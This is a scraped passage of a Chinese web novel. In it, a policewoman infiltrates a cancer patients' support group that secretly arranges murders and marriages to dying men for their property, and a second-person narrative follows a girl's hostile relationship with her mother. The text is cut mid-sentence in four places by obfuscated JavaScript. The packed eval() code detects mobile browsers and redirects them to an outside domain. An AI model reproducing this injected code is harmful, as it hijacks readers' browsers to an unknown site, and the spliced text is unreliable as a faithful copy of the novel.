近五百人的大群,有五六个“专业”群主。韩蓉是其中之一。 群主无时无刻不在线。他们好似没有正职工作,也不用吃饭睡觉,但凡哪位群友跳出来问问题,哪怕是已经回答过的问题,总有群主轮流细心解答。群友们也非常活跃,明明重病在身,也愿意积极探讨治疗手段和心得。 大家互相鼓励,竞相打气,言谈中全是专业的医疗经验,字里行间都是浓厚的正能量。 若有人流露出一点点灰心,群主和其他群友会立马跳出来劝导批评。若对方还是沉浸在试图放弃生命的执拗中,陈秋池觉得这些人一定会上门和对方面谈,苦劝回岸。 简直比医生还较真,比家人还体贴,不拉回正途誓不罢休。 群公告里有各种已经整理好的信息,比如宫颈癌治疗的国家标准,针对病情进展阶段的对应性治疗手段,什么情况可以手术,什么时候必须化疗,化疗用哪些药有效,怎么缓解化疗出现的掉发、体虚、呕吐等副作用,怎么提升白细胞,食疗有哪些菜谱等等。 那些新进群的新病友只要看一遍,就可以对这个病有个大概了解,确实可以大力缓解他们的恐慌和茫然。 而且陈秋池看到除了专业群主外,群里还有一个拥有行医执照的专业医生。她已退休,也得了这个病,也在治疗中,会大家提供权威性的治疗建议。 有些病友家庭经济条件有限,陈秋池不过加入群几个小时,已然看到群主发起好几拨赠药活动,入群者皆有机会参加。 若是有病友穷到连药都买不起,群主还会组织捐款……也就是说,任何一个加入互助组织的病友,都不会因为打不起针吃不起药,在家可怜等死。 简而言之,这个病友群不仅没犯法,还经营得相当不错。若是有媒体组织愿意跟踪调查,花些笔墨,说不定还能登上中央电视台,获得“感动中国”之类的道德模范奖项……像覆盖了一层上帝的荣光,镀上了一抹佛祖的恩泽,完全可以绞杀癌症给大家带来的痛苦和毁灭。 但,这个世界上真有“嘴上都是主义,心里还是主义”的人吗? - 陈秋池给自己捏造了一个新人设:一个和男友相恋多年,准备结婚却在备婚时查出重病的可怜女人。 她先是按照群主要求,上传了经过处理的病例和病理,而后在群里@韩蓉,告诉她自己确诊了。 大家看到她备注里的年龄才25岁,当即义愤填膺,纷纷骂男人烂黄瓜:自己在外面乱搞,却让女人得病的烂黄瓜。 【我未婚夫今天陪我去了医院,刚才我发给他我的确诊报告,他立马跟我提了分手。】陈秋池在这句话后加了好几个哭脸。 【真是不要脸啊。这种男人就应该去死!不守男德就算了,连人都不做了。】 【妹妹,你别伤心。这个病好治。看你的情况化疗几次后就可以做手术,五年生存率很高的。】 【对对。进了这个群就算是到了家。有啥不懂的直接问。姐妹们都非常友好,比惹了祸还不敢承担的臭男人强多了。】 这时韩蓉冒泡了。她先是给陈秋池发了好几个抱抱的表情,而后说:【难怪我今天在湿地公园遇到你的时候看见你身边那个男人一直臭脸……】 【他家三代单传,想要孩子,可我的子宫肯定保不住了。】陈秋池这句话立马又把这个悲情故事加码一波仇恨。 群友们一个个像炸了毛的母鸡,跳出来又大骂一通。 【他家是有皇位要继承吗?还三代单传?传他爹!】 【他这么有本事怎么不自己生孩子?我们女人不是生育机器!】 【你失去的是子宫,可他失去的是孩子啊(狗头)。】 【这种人真的不配活在这个世界上!】 陈秋池等这波“骂声”最热时,又敲了一行字发出去。 【我和他谈了七年恋爱,他上研我上班,我给他付学费和生活费,本来说好他一毕业就和我结婚,结果七年喂了狗啊。】 她这下不是点燃了炸药库,而是把火山摇醒了。 很多只围观不说话的群友全冒了出来,咒骂、同情、心疼,铺天盖地席卷而来。 陈秋池又发了好几个大哭表情,继续把这个悲情故事往纵深“伸展”。 她说她就是因为觉察到未婚夫的“走神”,担心自己身体受损才去医院检查,结果真中招了。他现在勾搭上的那个女孩挺有钱,但没她家有钱。不知情的未婚夫还以为终于吃上了软饭,却不知道自己丢了西瓜捡了芝麻…… 【好恨啊。我还买了一套楼王当婚房,布置的都是他喜欢的家具。本想给他个惊喜,结果他不爱我了!】 见火候差不多,陈秋池给韩蓉私发了两条微信。 【韩姐,我好恨他啊。恨不得吃了他的肉,喝了他的血!】 【我该怎么办?】 - 回到家,和范力相关的东西已经全部消失。 三个人的家,如今只剩下她一个。 无尽的颓丧包裹着整个房间,陈秋池感到快呼吸不过来了。 扶着墙走到卫生间,打开水龙头,手腕上的小金鱼在水流中越发生动。 若是鱼宝还活着,这个家就不会散吗? 不,她怎么能把越来越没滋味的婚姻的未来,寄托在孩子身上? 孩子不是破碎婚姻的粘补剂,更不是无爱夫妻的遮羞布。他们应该被充沛的真诚的爱滋养,才能生出抵抗漫长人生的自由翅膀,才能在遭受困苦时依然保持希望。 指腹抚上去,就着水一点点揉搓,她已经在手腕上画了二百八十四次小金鱼,熟到闭着眼也可以描摹出来。线条里藏着她不能言说的痛苦,颜料里蕴着她不愿醒来的美梦。 这些可预估的无尽的痛苦,难道只能等到生命消失的那一刻才结束吗? 该怎么办?怎么办啊? - 手机震动。 韩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14601127|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蓉终于回复了。 她说:【韩姐帮你。】 - 宗桃正式报警。以诈骗罪起诉辛小莱。 陈秋池向江离江队长汇报了此案与“杀妻案”之间可能存在的关联,申请由她负责协同调查辛小莱。 辛小莱与宗桃父亲的婚姻事实确凿无误。两年前辛小莱搬来宗桃父亲居住的小区,两人相识于楼下广场舞。一个是妻子去世多年,女儿定居国外的孤寡男人,气质文雅,没有恶习。一个是丈夫去世的独居女人,柔顺体贴,身体健康。十五岁的年龄差并未阻碍两人相识相熟相恋,组建新的家庭。 很多人见证了他们的黄昏恋,出席了他们的结婚仪式,只可惜,这段真实的美好,在婚后一年,被突如其来的疾病打破了。 宗桃父亲的病来势汹汹,发现时已是晚期。正如辛小莱所说,她多次尝试联系宗桃,希望她能抽空回来看望生病的父亲,然而宗桃因为介怀父亲再婚,对此请求熟视无睹,电话不接,微信拉黑,父女关系就此降到冰点。 很多人看见,辛小莱天不亮就去附近菜市场采购新鲜的羊牛肉,只为给丈夫补充营养。太阳好的时候,她总推着轮椅,陪着丈夫去楼下晒暖。 救护车来小区三次,每次辛小莱一路小跑跟着担架,哭得脸色发白,神色恍惚。前两次好不容易死里逃生,她还能和丈夫一起再回家里,最后一次,回来的只有丈夫的牌位。 这不是真爱,什么是真爱? 但,辛小莱结婚四次。第一个老公死于车祸,第二、三、四个老公都死于癌症。 这个世界上真有这如此命苦的女人吗?连着死四个老公? 且除了宗桃父亲在其婚后一年才发现患病外,辛小莱的第二、第三任丈夫与其结婚前已经得了重病。 这两任丈夫没有子女,没有其他可继承财产的亲属,所以没人和她抢房产。若不是宗桃起诉,辛小莱又会平平静静继承第三套房子。 宗桃说,她请了律师详细查看了遗嘱。整个遗嘱签订过程毫无瑕疵,该有的公证流程和证明人都有,该被堵上的漏洞都堵了,他的父亲像是害怕她捣乱,即便她请来最好的律师,也拿不回一点遗产。 全便宜了这个她不承认的后妈。 亦或是,这压根就是辛小莱的主意,她一手操办,提前谋划,杜绝了一切后患? 宗桃告诉陈秋池,她并非贪恋父亲财产,她怀疑辛小莱为了早点解脱,在父亲的治疗过程中故意使坏,让本可以活得更久的父亲死得这么快! 然而陈秋池详细翻看了宗桃父亲的治疗记录,医嘱有被好好遵循,医生不推荐的治疗方法,辛小莱也死马当活马医试了。 但世界上真有这么多巧合吗? 辛小莱和王安娜一样,都有短命的患癌丈夫,都在丈夫患病期间悉心照顾。 后来,丈夫去世,她们伤心欲绝的同时,顺势继承了丈夫的财产。 这里面到底有多大成分的真爱? 又有多大成分的算计? 36. 第36章 辛小莱看着桌子上的四本结婚证和三本离婚证,有些想笑,又有些想哭。 这好似是她的战绩,又好似是她的耻辱。 亦或是,她可怜人生的见证。 到底是什么谁也说不清。 她伸出右手,掌心的纹路复杂交杂。算命先生说,她的感情线布满岛纹、竖纹、斜纹,将主线分割得断断续续,这意味着她这一辈子会困顿于婚姻,到死都会吃婚姻的苦。 是真苦啊。 她和第一个丈夫的十年婚姻,打破了她对男人的一切幻想。她以为丈夫就该体贴温柔,担当有为,然而他用月薪三千买断了她的一切。他只要完成上交工资这一件事就是好丈夫,她要做家务,生孩子,侍奉公婆,满足他的欲望,事事皆做好,做完美,才算好妻子。 他理所当然攫取,她必须恭敬顺从。 她彼时身处其中,觉得不舒服,却从未深思缘由,直到她得了宫颈癌。 她还没崩溃时,这个男人先崩溃了。 他第一反应是,家务没人做了,孩子生不了了,父母没人伺候了,他从此要面对一个没有子宫和卵巢,从某种程度上连女人都不算的女人。 他说他硬不起来。 于是他果断抛弃她,理由是不爱了。 那时候她还一遍又一遍反思,她除了不幸得了病,还有哪里做得不好? 后来,有人告诉她,这一切都是他的错。 再后来,他出车祸死了。 死得相当蹊跷,她鸵鸟似的一点也不想深究。 期间,这人拉她进入一个叫做病友互助组织的微信群。她遇到一群可爱可亲的病友姐妹,她谨遵医嘱,认真治病,化疗数次后成功结疗。 本以为命运的幸运齿轮将推着她再次充满希望地活下去,把她带出困境的“那个人”找上门来,告诉她,那次车祸并非意外。 - 什么叫做互助组织? 我帮你,你帮我,才叫互助。 他们帮她杀了抛弃她的丈夫,她必须听他们的话。 于是,她被安排结了一次又一次婚,拿走一套又一套房。 她哄着第二任和第三任丈夫,说:与其人财两空,不如别治了,走得痛快点些。什么ICU,什么插管抢救,什么高昂的质子治疗,无非将痛苦的肉、体拖延得更加破烂,把人的尊严碾压地丝毫不剩。 她也哄着自己,她这样做并非为了骗钱,而是鼓励他们选择更好的结束方式,是另一种仁慈,绝对不会被惩罚。 - 但她,还是受到了最大的惩罚。 和宗桃父亲结婚纯属意外。 她只见了他一面,便喜欢上了这个好人。 他那么温柔,像父亲一样护着她,顾着她,让她空壳般的躯体第一次有了想填补些什么的冲动。 她告诉组织,这个男人是她寻觅到的下一个目标。她伪造病例,被蒙住的组织准许她与他结婚。 她打算过段时间告诉组织,他的病是误诊。哪怕组织逼她离婚,好歹她遵循着自己的心意开心过这么一次,也算值了。 然而,他真病了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14601128|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 不知是他被她诅咒,还是她的罪孽太深重,终要报复回来。 那也该报复在她身上啊。 不,她失去了所爱的人,就是最大的报复。 那个叫陈秋池的女警显然已经怀疑她。 她骗了那么多次,唯独这次真心,却被人质疑。 她听到了命运在她耳边嘲讽的笑声。 - 门外响起敲门声。一声连着一声,在寂凉的深夜显得越发急凑。 “外卖!” “您的外卖!” 辛小莱恍惚了半天才确认是自己点的外卖到了。 过去几天,她极少进食,如今她站在悬崖边缘,即便要往下跳,好歹做个饱死鬼。 赤脚往门口走……两步又停下来。若是被他看到,他一定会嗔怪她不穿袜子,容易受凉。 不可控制的飘忽的想法,泛着又酸又涩的滋味萦绕着她。 他爱叫她小姑娘。她彼时看着镜子里早生华发、黄斑渐生的脸,哪里敢担这一声爱称。 可他说,她就是他的小姑娘,没心没肺的小姑娘。 是啊。他不算计你的钱包,不介意你的过去,不攫取你的劳动……在他面前,确实可以没心没肺。 门口的敲门声更急了。 辛小莱苦笑两声,抬脚喊了句,“来了!” 门开了条缝,一道黑影出现。 走廊的光落在黑影的头上……枯净无发,熠熠生寒。 辛小莱猛一下惊醒过来,下一秒,一只脚卡在了门缝中。 37. 第37章 李重啊。 再也没有比月经更让你清楚地认识到自己是女孩,哪怕你已经被母亲忽视了十二年。 - 每月一次的痛苦,就像有人每月一次把肋骨从你身体里取出,七天后再重新破开你的肚皮,安装回去。 你不知为何,每月都比其他女孩痛很多,痛到面色发白,几欲呕吐。 即便你有如此明显的反应,母亲到了第三个月才发现。 其实,也并非她觉察出来。那天,一个常来店里吃羊肉粉的老光棍冲你龇牙咧嘴地笑,目光不怀好意地望你身后看……她顺着他的眼光看过去,发现你的后面沾染了血迹。 “晦气!真晦气!” “我就说今天打牌输钱,原来是看到不该看见的。” “小姑娘变大女孩了啊。要是在古时候,再过几年就能嫁人生孩子了。” 食客们大声调笑着,压根不觉得自己说的话有多不合时宜。 你母亲的脸涨得又红又青,她一把扯住你,把你像陀螺一样甩进小仓库里。 她劈头盖脸把你一顿骂,怪你给她丢脸,怪你影响生意,怪你突如其来的月经……你沉默着,任凭那股粘稠的血液往外涌,小腹处升腾的痛感越来越强。 母亲哐的一声把门锁上,过了好久她才从外头回来,也是黑色塑料袋,里头装着卫生巾。 你苍白着脸,吸了口气问:“你是不是绝经了?!” 母亲一愣,一脸烦躁地摆摆手,“爱来不来。谁还会稀罕它?这玩意就是个祸害。” 方才还板结在你心中的郁卒,一下子松动了。 母亲才刚刚四十岁,就已经丧失了这个令人讨厌却又代表女性生命力的玩意,潜伏在体内的激素在不知不觉中,退缩乃至消失。 你开始了,但她却结束了。 - 从小仓库偷溜出来,迎面看到了本想憨笑却又笑不出来的宋景富,丧眉耷眼的样子更像一条委屈的大狗。 他的手里提着一个黑色塑料袋。 你皱起眉头。 他不仅跟踪你,看到了你又一个不堪画面,还记得你来月经的日子。 “你是不是有病?” 你忍着痛,扭头就走。 他小碎步跟着,小声咕哝道:“我没病。” 你突然停下来,转过身,咬着牙说:“你要是很闲的话,就去死啊。” 宋景富大惊,疯狂摇着头,“不不不,我有空的时候可以去镭射厅打游戏,去高坪河钓鱼,去逛大集……” 你瞪着她,圆溜溜冰冰凉的黑眼珠里是他笨傻的倒影。 他被你的气势吓得往后一退,弱弱说:“死很痛的,我不想死。” 此刻正在你体内疯狂搅动的疼意顺着四肢百骸激荡,胸口闷得发紧,身后渗出一层虚汗。 “李重,你脸怎么这么白?” “李重,这么冷的天,你怎么出汗了?” “李重……” “李重……” - 你做了个梦。梦里有人笨拙地背着你,边跑边嫌弃你怎么这么瘦。 你习惯性张嘴回骂,却看见一张暖如春风的笑脸,她的目光那么柔和,你被全神贯注地注视着,被全方位地包裹着…… 你像个宝宝一样,在梦里发出一声呓语:“妈妈!” - “看,都疼得喊妈妈了!”一道柔声在耳边响起,“没事没事。止疼药马上就起效了。” 你缓缓睁开眼,迎面一个柔软的手伸过来,抚摸在你的额头,“嗯。不烧了。” “你是我家大福的同学吧。”女医生自顾自地说话,声音脆脆的像百灵鸟,“一会再去做个B超看下情况,每个月都疼成这样可太受罪了,要早点吃药治疗。” 宋景富的大狗脸凑过来,你本想骂他多管闲事,可他额头明晃晃的汗啪嗒一下滴了下来,你愣了愣,把涌在喉咙里的话退回了肚子。 “这是我小姨。人美医术高。有她在,什么病都能治好。” “放心。钱我先付了,你后面还我就行。” “还有,我跟我小姨说了,你妈回老家了,赶不过来。” 说到最后一句,大狗眨了眨眼睛,露出一抹“看我多机敏”的神色。 第一句免除你对病情的忧虑,第二句缓解你囊中羞涩的尴尬,第三句掩盖你不仅没有母亲关心,还会因为给她带来麻烦而被大骂一通的困窘。 “我家里人叫我大福,你有没有小名?” “大重?重重?小重?” “好奇怪。你爸妈为什么给你一个女孩子起这么硬邦邦的名字啊?” “……” 好在漂亮小姨及时把话多大狗牵走,你才得以安宁片刻。 一番检查后,你被确诊为子宫内膜异位症。一种不会立马致人于死地,却非常折磨人的病,多发于成年女性,少部分刚来月经的女孩也会得这种病。 你更特殊。你的生殖道不同寻常,从医学角度被称为异形,这种异形会引起经血倒流,诱发难以忍受的痛感。 你很想笑。 你知道你是个异类,原以为这是一种蕴含自我评价、自我讽刺的调笑,谁知,你的身体早在你出生时就和别人不同。 你还真他妈是个异类。 - 漂亮小姨心疼地拉着你的手,嘱托你一定坚持服药。 “下次你来复查,让你妈妈带你一起过来。” 你抽回手,又冷又轻地说:“把我子宫切除不就好了?” 漂亮小姨一愣,“你不想做母亲吗?” 她许是觉得你疼怕了,才说出这种傻话,于是放软声音道:“我们生为女人,身体的所有构造都有它存在的意义,不能轻易放弃。” - 不能轻易放弃? 13年前,母亲用血肉生出了你,却立马“放弃”了你。 13年后,你用月经的方式传承了她,却没办法“放弃”她。 从医院出来,你看了看漫天清冷的星星,转过身,盯着宋景富。 你说:“你没病。是我有病。” - 与此同时,你的胸部不断隆起。 下楼时,跑操时,洗澡时,立定跳远时,它们无时无刻不在提醒你某处沉甸甸的存在。 你要时刻注意领口是否松散,两侧是否有旁人凝视的目光,你总是驼着背,含着胸…… 外婆、母亲、你,三代女性,皆大得可观。 然而母亲一脸嫌弃,她说:长这么大有什么用? - 文人们会说这两坨肉如娇嫩白鸽,如跳跃玉兔,你只觉得它们像倒扣在你胸前的两个坟堆。 还是那种没人祭奠的孤荒坟堆。 - 什么时候一脉相承的大胸,也成了一种轮回的罪过? 不! 母亲嫌弃的不是你的过分发育。 她只是厌恶你越来越像女孩子。 因为,你越像女孩子,就越不像你的哥哥。 - 现在,你不可控地突破了身体伪装的界线,从小留到大的短发也遮掩不了你的秀气模样。 她透过你看不到哥哥的模样,自然不高兴,不开心。 于是,你挺起了胸膛,打响了反抗母亲的第一枪。 - 你需要少女胸衣,保护你的两坨“枪”。 母亲不会给你买,你自己买。 何家巷里有一家内衣店。你一眼看中门口挂着的那件漂亮柔软的粉色胸衣。 蕾丝镶边,胸口点缀着蝴蝶结,你头一次对粉色,对蕾丝,这些娇软凸显的女性元素,产生了极强的欲望。 你不知道自己需要买多大码,但不管哪个码数都要花钱。 而你,毫无收入,且欠着宋景富的医药费。 你每天都会去看一眼,期待它不要被人买走。 它像你刻意吹大的粉色气球,每天悬挂在你的前面,勾引着你,诱惑着你,让你觉得漫长人生有了鲜活的时间刻度,才不至于这么难熬。 与此同时,你开始捡纸皮,捡塑料,捡一切能换钱的东西。没多久学校的同学都知道你一放学就去掏肮脏的垃圾桶。 你毫不在乎,照捡不误。 宋景富欲言又止。 你说:“你滚远点。” 他果然跑远了,这条总爱向你讨要骨头的狗在你百般叱骂下终于消失了。 你捡了半个月,才攒下区区五块钱。 你想起野人爸爸留下来的狗头金,心想要不卖了它换钱,也算帮他尽一尽做父亲的责任。 然而,还没等你实施作案,那件漂亮柔软的粉色内衣就被人买走了。 你非常非常生气,气得攥拳捶墙,气得日爹骂娘。 然后又被自己生气的样子逗笑了。 原来你不是无能无感的木头。 你会鲜活地生气,是不是就有活得快乐的可能? - 放学时,你已经把那件盼了很久的粉色胸衣忘到脑后。 一群其他班的小混混却把宋景富堵到门口。 为首的那人强行把他的书包夺走,从里面挑出一个黑色塑料袋。 宋景富嗷呜一声冲过去,却被人死死拽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14623939|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住。 你懵了一瞬,然后看到那件蕾丝镶边,胸口嵌着蝴蝶结的粉色内衣…… 它本该被谁穿在身上,却意外地出现在大狗的书包里,还被小混混肮脏的手揉搓着。 所有人喊叫起来,捂脸的捂脸,偷瞄的偷瞄,告状的告状……简直乱作一团。 你抬眼看向宋景富。大狗涨红了脸,看了你一眼便羞愧地垂下头。 “宋景富你怎么偷女人胸罩啊?” “宋景富你个死变态!” “幸好被我抓到。宋景富你就等着叫家长记大过吧。” 宋景富被推搡着,咒骂着,却低垂着头,一声不吭。 很快,他被押往教导室。所有人都赶过去看热闹。 那件掉在地上的胸衣,粉粉的,重重的,像一颗真心被人踩在脚下,上面全是兴奋凌乱的脚印。 你盯了半天,弯腰捡了起来。 - 教导主任大发雷霆,咆哮着要给宋景富的父母打电话。 你狂奔过去,推开所有人,气喘吁吁冲到他面前。 大狗可怜巴巴地看着你,却朝你坚定地摇了摇头。 教导主任拿着教鞭,一下又一下地戳他的肩膀,“臭小子,你天天不好好学习,脑子里全装着□□思想吗?说,你偷了谁的胸……” 许是觉得胸罩两个字有伤风化,他硬生生把舌头一转,改成了“内衣”。 “偷了多少内衣,都藏在哪里?你是不是还偷看小电影了?全交出来!” 若这事发生在你身上,你能编出一百种理由逃过惩罚,可对面这条大狗只会蹲在这里傻乎乎吐舌头,连叫一声都不敢。 真是笨死了。 - “老师,这件事纯属误会。” “是宋景富的小姨给我买的。他还没来得及拿给我就被他们抢走了!” 教导主任一愣,“真的?” “不信你可以给他小姨打电话,”你十分笃定地说,“我又穷又可怜,连胸罩都买不起,他小姨实在看不下去……老师,我是从乡下考上来的,爸爸死的早,妈妈挣钱不容易,上次我跟您申请贫困生补贴,您说我是城市户口,没有资格申请……但城市也有穷人啊。” 你一口气把家底交代地清清楚楚,边说边哭,把教导主任呛得满脸尴尬,哑口无言。 宋景富眨了眨眼睛,饶是想问题总慢半拍,他也知道你现在说的每一个字都是你的痛点,你却为了帮他,一字不落地抖搂出来,试图用你的可怜掩盖事实,转移话题。 他好想哭。 你伸出手,本该白嫩的手心糙出茧子来。 “老师,我看您的妻子承包了学校食堂,您能不能说说情,让我去她那里刷碗挣点生活费?” “我可是刷碗小能手呢!从三岁刷到十二岁。” “谁还能比我刷得快,刷得好呢?” - 班主任把你母亲叫到学校。 她委婉地说,学校考虑你们家庭的特殊情况,已经申请了贫困生补贴。还希望你母亲多关注你的个人青春期需求,以及……要以学业为重。 你不仅闹得全校都知道你有个无能的妈妈,还让大家知道你的妈妈从小苛待你,让你不分春夏秋冬刮风下雨蹲在店里刷碗。 你在如此恶劣的环境下长大,还能次次考得第一,年轻的女班主任虽然嘴上没说破,却用一种质疑、讽刺、审视的目光看着你的母亲。 你母亲回到家又把你骂了一顿。 她把钱匣子的钱全甩出来。 “你就不能像你爸一样偷钱吗?” “你就是故意的。你想让我变成坏人,不,你就认为我是坏人!你张嘴问我要钱,我会不给你吗?” “我这么忙,这么累,有谁心疼过我?” 她的鼻孔喷着气,越说越气,突然发现你在笑。 她愣怔了片刻,立马跳起来,像无头苍蝇转了几圈后,定定站在你面前,盯着你说:“你简直有病。” - 是啊。你承认你有病。 你喜欢看母亲因为你暴跳如雷,哪怕把你骂得很惨,只要她骂的对象是你就行。 你喜欢看母亲为你花费时间,浪费精力,即便她恨不得把你掐死,至少在这些片刻里,她没有想着哥哥。 - 这件事的后果就是她再也不允许你来店里,你从此与羊肉膻味彻底诀别。 每个月她都会给你有限的零花钱,不允许你再去旁人面前诉苦,更不许你出去打工挣钱。 你获得了好几个“不许”。 你也终于拥有了“被管教”的幸福。 38. 第38章 李重啊。 你30岁和母亲彻底断绝关系,再也不听从她定下的种种“不许”,再也不把她放置在本就十分沉重的人生里,你以为从此可以变得轻飘飘的,按照自己的心意,想荡到哪里就荡到哪里…… 结果,你把自己荡到了更加荒芜的深海。 那里混沌不堪,那里幽雾重重。你听不到母亲的咒骂声,看不见母亲的冷漠脸,你失去了一个叫做妈妈的灯塔。 你对此后悔吗? - 初二时,你开始留长发。 这是你打响反抗母亲的第二枪。 母亲一手薅着你的头发,一手拿着剪刀,气势汹汹要把你剪成假小子。 你故意哭得稀里哗啦,惹来众人围观。 大家纷纷劝解。不想剪算了,女孩子爱美,一剪刀下去剪坏了,连门都没法出去。 母亲解释说学校要求女生不能留长发,你哭着说压根没有这个规定,下一秒你一脸狡黠,从母亲咯吱窝下逃走…… 当晚。你在睡梦中被捆住了手脚。 小时候,母亲经常在你睡梦中温柔抚摸你的脸,现在她高高举起剪刀,一副不剪头发就杀了你的恐怖模样。 过去那么做,是为了什么,现在还是为了什么。 你冷冷地盯着她。 “你是不是恨不得我不来月经,不长胸?” “没有!” “我是不是越来越不像哥哥了?” 母亲不吭声。 “你以为我剪了头发就能变成他?” “你闭嘴!” “他是死的,我是活的。” “他没死!” 你不怀好意地笑了起来,“哥哥死了。我亲自克死了他!” 巴掌瞬时拍红了你的脸,剪刀掉落在地,门被哐的一声狠狠关上。 - 你用剪刀剪开绳子,走出家门,钻进夜色。 身后传来窸窸窣窣的声响,它们摇晃着脑袋紧跟着你,幽冷苍白的蛇鳞在地上拖曳着。 蛇信从两张和你一模一样的脸上吐出来,它们低沉地呼喊着:“小可爱啊小可爱。” 破败的街巷黝黑无光,你迎面看到了宋景富。 他不知道在这里站了多久,被你逮到时,满脸涨红,想找个合适的理由解释又笨得说不出口。 你勾勾手,他立马欢快地跑过来。 “你是不是喜欢我?” 他的脸更红了,支支吾吾中点了下头。 你笑得前仰后合,甚至笑出了眼泪。 你又勾勾手,宋景富又凑近了些,几乎可以碰到你的脸。 你说:“你去帮我逮几只老鼠。我只给你半小时。” - 半小时后,一窝吱吱乱叫的老鼠出现在面前。 宋景富满头是汗,吐着舌头,像一只渴求表扬的大狗狗。 你从鼻孔里哼出轻飘飘一个嗯字,伸出手拎起其中一只老鼠的尾巴。 老鼠可怜地挣扎着,尖锐的嘴巴想咬回去,却怎么也够不着你的手指。 宋景富紧张起来,“你要摔死它们吗?” “它们饿了,该吃东西了。” 说完,你抱起纸盒上了楼。 过了几天,你看到母亲满脸温柔地走进那间主卧,没过多久你如愿听到她的尖叫声。 你知道,母亲悉心为哥哥准备的衣物、零食、书包,都被咬破了,咬烂了。 然后,那些老鼠还是死了,被你母亲狠狠摔死了。 - 何家巷有一处破烂无主的老房子。 横三间,竖六间,合围出一处荒芜的天井。 不知何年何月以及何人用一把生锈的破锁把大门锁住,你随手一扯,锁便断了。 老房成了你和宋景富的秘密基地。 草是这里的主人,从地面长到屋顶,从檐下长到墙角。 你指挥宋景富把它们全薅了,于是你成了这里的新主人。 那个你强行住进去的两室一厅,如今变得针芒在刺,你除了上学,把大部分时间浪费在这里。 毫无眼力见的合欢树从外墙伸进灿烂的枝丫,在破了一半的土墙上留下生动的影子。 你面无表情地盯着它,然后让宋景富爬上去把所有的花打落。 你站在树下,把它们全踩成花泥,却生了一脚底的香。 - 你让宋景福搞来一盒烟。 缥缈的烟雾从嘴里吐出,又从鼻孔吸进,你莫名地喜欢这种方式。 似有似无的香味在颅内循环。 就像天井下躺着一具骷颅,多脚的蚰蜒会从骷颅口中钻进颅内,盘旋几回后,再从森然硕大的眼眶骨钻出来。 你觉得你就是那具骷髅。 你只抽了几根便对这种所谓的时髦事产生了厌倦。 你又让宋景富找来白酒。 你学着野人爸爸每次咂酒的姿态,龇牙咧嘴却又幸福地往肚里吞,然而,你对此无法认同,只觉得一根粗大的棍子从喉咙硬戳到胃里,火辣、炙热但毫无舒爽感。 宋景富又拎着剩下的白酒悄悄放回家中的酒柜。 还是看书让你开心点。 你荤素不忌,越是被禁止阅读的书你越要看。 你不知道从哪里掏来一本《查泰莱夫人的情人》,翻看完毕后丢给宋景富,故意让他念出男女主云雨的片段。 宋景富只扫了一眼,便羞红了脸。 你逼着他念,他死活不肯。你越逼他,他越把嘴巴闭得紧紧的。 你突然发现……你找到了一个好玩的东西。 - 有一天,你拿出一张情书,甩到他面前。 “是你写的吧。” 宋景富看了看,露出迟疑的目光,“是我的字,但,不是我写的啊。” 你冷着脸,居高临下审视他。 你把情书拽过来,一字一字地念。 “李重,我多么想变小啊,小到可以钻到你的口袋里。听你读书,听你说话,听你的心跳声,听你上厕所……” 宋景富惊慌失措,“谁这么变态?!” 你让他闭嘴,继续念,“李重,我也想变成一棵高高的树,高过你家阳台,看你好好吃饭,看你被妈妈骂,看你把老鼠丢进卧室,看你又被妈妈骂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14623940|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我的枝丫会化作温柔的手,擦掉你脸上的泪……” 宋景富紧紧抿着唇,“是你写的吧。” 你让他别吭声,继续念,“李重,你让我爬房爬树,让我偷东西,让我念黄色小说,你让我做了很多我这辈子连想都不敢想的事。你怎么这么可爱?可爱到无论你是什么样子,我都觉得你可爱。” 宋景富快哭了。 “你什么时候学会写我的字?你是不是偷偷练了很久?” 你耸耸肩,“你的字太丑了。我忍着恶心才学的。” “你……怎么知道我心里在想什么?” 你走到土墙下,翻开一块石头,一个小铁盒露了出来。 宋景福慌了,立马挡在你面前,“别看!” 你把他推开,打开铁盒。 里面藏着一坨缠绕着头发,好多个圆圆短短的指甲盖,一堆糖纸,几个烟头以及吃过的口香糖。 